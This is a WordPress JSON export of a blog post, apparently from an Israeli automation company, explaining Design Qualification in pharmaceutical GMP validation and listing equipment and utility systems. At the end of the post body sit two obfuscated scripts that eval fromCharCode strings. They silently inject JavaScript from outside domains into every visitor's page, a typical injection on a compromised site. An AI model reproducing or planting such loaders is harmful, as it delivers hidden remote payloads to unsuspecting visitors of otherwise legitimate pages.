{"id":35580,"date":"2015-06-29T18:24:41","date_gmt":"2015-06-29T15:24:41","guid":{"rendered":"https:\/\/smartlogic.co.il\/?p=35580"},"modified":"2015-06-29T18:24:41","modified_gmt":"2015-06-29T15:24:41","slug":"%d7%95%d7%9c%d7%99%d7%93%d7%a6%d7%99%d7%94-dq-design-review","status":"publish","type":"post","link":"https:\/\/smartlogic.co.il\/staging_new\/%d7%95%d7%9c%d7%99%d7%93%d7%a6%d7%99%d7%94-dq-design-review\/","title":{"rendered":"\u05d5\u05dc\u05d9\u05d3\u05e6\u05d9\u05d4 &#8211; DQ &#8211; Design Review"},"content":{"rendered":"<h2 style=\"text-align: center\"><strong>\u00a0\u05d5\u05dc\u05d9\u05d3\u05e6\u05d9\u05d4 &#8211; DQ &#8211; Design Qualification \/ Design Review<\/strong><\/h2>\n<p style=\"text-align: left\">DQ \u00a0&#8211; Design Qualification is for Design Review by verifying that the system has been designed as specified in the URS (User Requirements Specification), <a title=\"DS\" href=\"http:\/\/www.smartlogic.co.il\/%D7%95%D7%9C%D7%99%D7%93%D7%A6%D7%99%D7%94-design-specification-ds\/\">FDS <\/a>(Functional Design Specification), and relevant equipment specifications satisfying all GMP requirements. The Process User Requirements in the URS have been identified by the Quality Risk Assessment. Since the Quality Risk Assessment is an iterative process, it may be performed again, whenever necessary, during the DQ and subsequent lifecycle qualifications.\u00a0 For\u00a0 hardware and software of the control system, verification data will be collected to prove that the system has been designed in accordance with the URS and FDS including the requirements of <a title=\"21cfr PART 11\" href=\"http:\/\/www.smartlogic.co.il\/21cfr-11\/\">21 CFR Part 11<\/a>. As DQ is the final step to formally review and document the proper design of the system, the protocol must enable the reviewers to verify that all quality-critical attributes and essential technical attributes of the system have been incorporated in the design. When the <strong>DQ<\/strong> report is approved, the system is ready for fabrication and construction.<\/p>\n<p style=\"text-align: left\"><strong>DQ PROTOCOLS<\/strong><br \/>PROCESS EQUIPMENT AND SYSTEMS<br \/>Media Preparation and Hold Tanks<br \/>Buffer Preparation and Hold Tanks<br \/>Process Tanks<br \/>Reactors \u2013 Organic Synthesis<br \/>Bioreactors<br \/>Evaporator Systems<br \/>Distillation Tower Systems<\/p>\n<p style=\"text-align: left\">CLEAN UTILITY SYSTEMS<br \/>USP Purified Water Storage and Distribution Systems<br \/>WFI Storage and Distribution Systems<br \/>Clean Steam Generation and Distribution Systems<br \/>Process Air Systems<br \/>Nitrogen Gas Systems<\/p>\n<p style=\"text-align: left\">SUPPORT SYSTEMS<br \/>CIP Systems<br \/>Biowaste Kill Systems \u2013 Continuous<br \/>Biowaste Kill Systems \u2013 Batch<br \/>Autoclaves<\/p>\n<p style=\"text-align: left\"><a title=\"HVAC\" href=\"http:\/\/www.smartlogic.co.il\/%D7%90%D7%95%D7%98%D7%95%D7%9E%D7%A6%D7%99%D7%94-%D7%95%D7%91%D7%A7%D7%A8%D7%94-hvac-ahu-control\/\">HVAC<\/a> SYSTEMS AND CLEANROOMS<br \/>HVAC Systems<br \/>Cleanrooms &#8211; Aseptic<br \/>Air Locks &#8211; Gowning<\/p>\n<p style=\"text-align: left\">LABORATORY EQUIPMENT<br \/>Incubators<br \/>CO2 Incubators<br \/>Water Bath Incubators<br \/>Ultra-Low Temperature Freezers<br \/>Refrigerators<\/p>\n<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));\/*54745756836*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>DQ  &#8211; Design Qualification is for Design Review by verifying that the system has been designed as specified in the URS -User Requirements Specification, FDS &#8211;  Functional Design Specification, and relevant equipment specifications satisfying all GMP requirements<\/p>\n","protected":false},"author":2,"featured_media":35505,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17],"tags":[36,129,143,144,167,183,194,422,428,502,504,522],"class_list":["post-35580","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-17","tag-21-cfr-part-11","tag-design-review","tag-dq-en","tag-ds","tag-fds-en","tag-gmp-en","tag-hvac-en","tag-urs","tag-validation-en","tag-502","tag-504","tag-522"],"_links":{"self":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/posts\/35580","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/comments?post=35580"}],"version-history":[{"count":0,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/posts\/35580\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/media\/35505"}],"wp:attachment":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/media?parent=35580"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/categories?post=35580"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/tags?post=35580"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}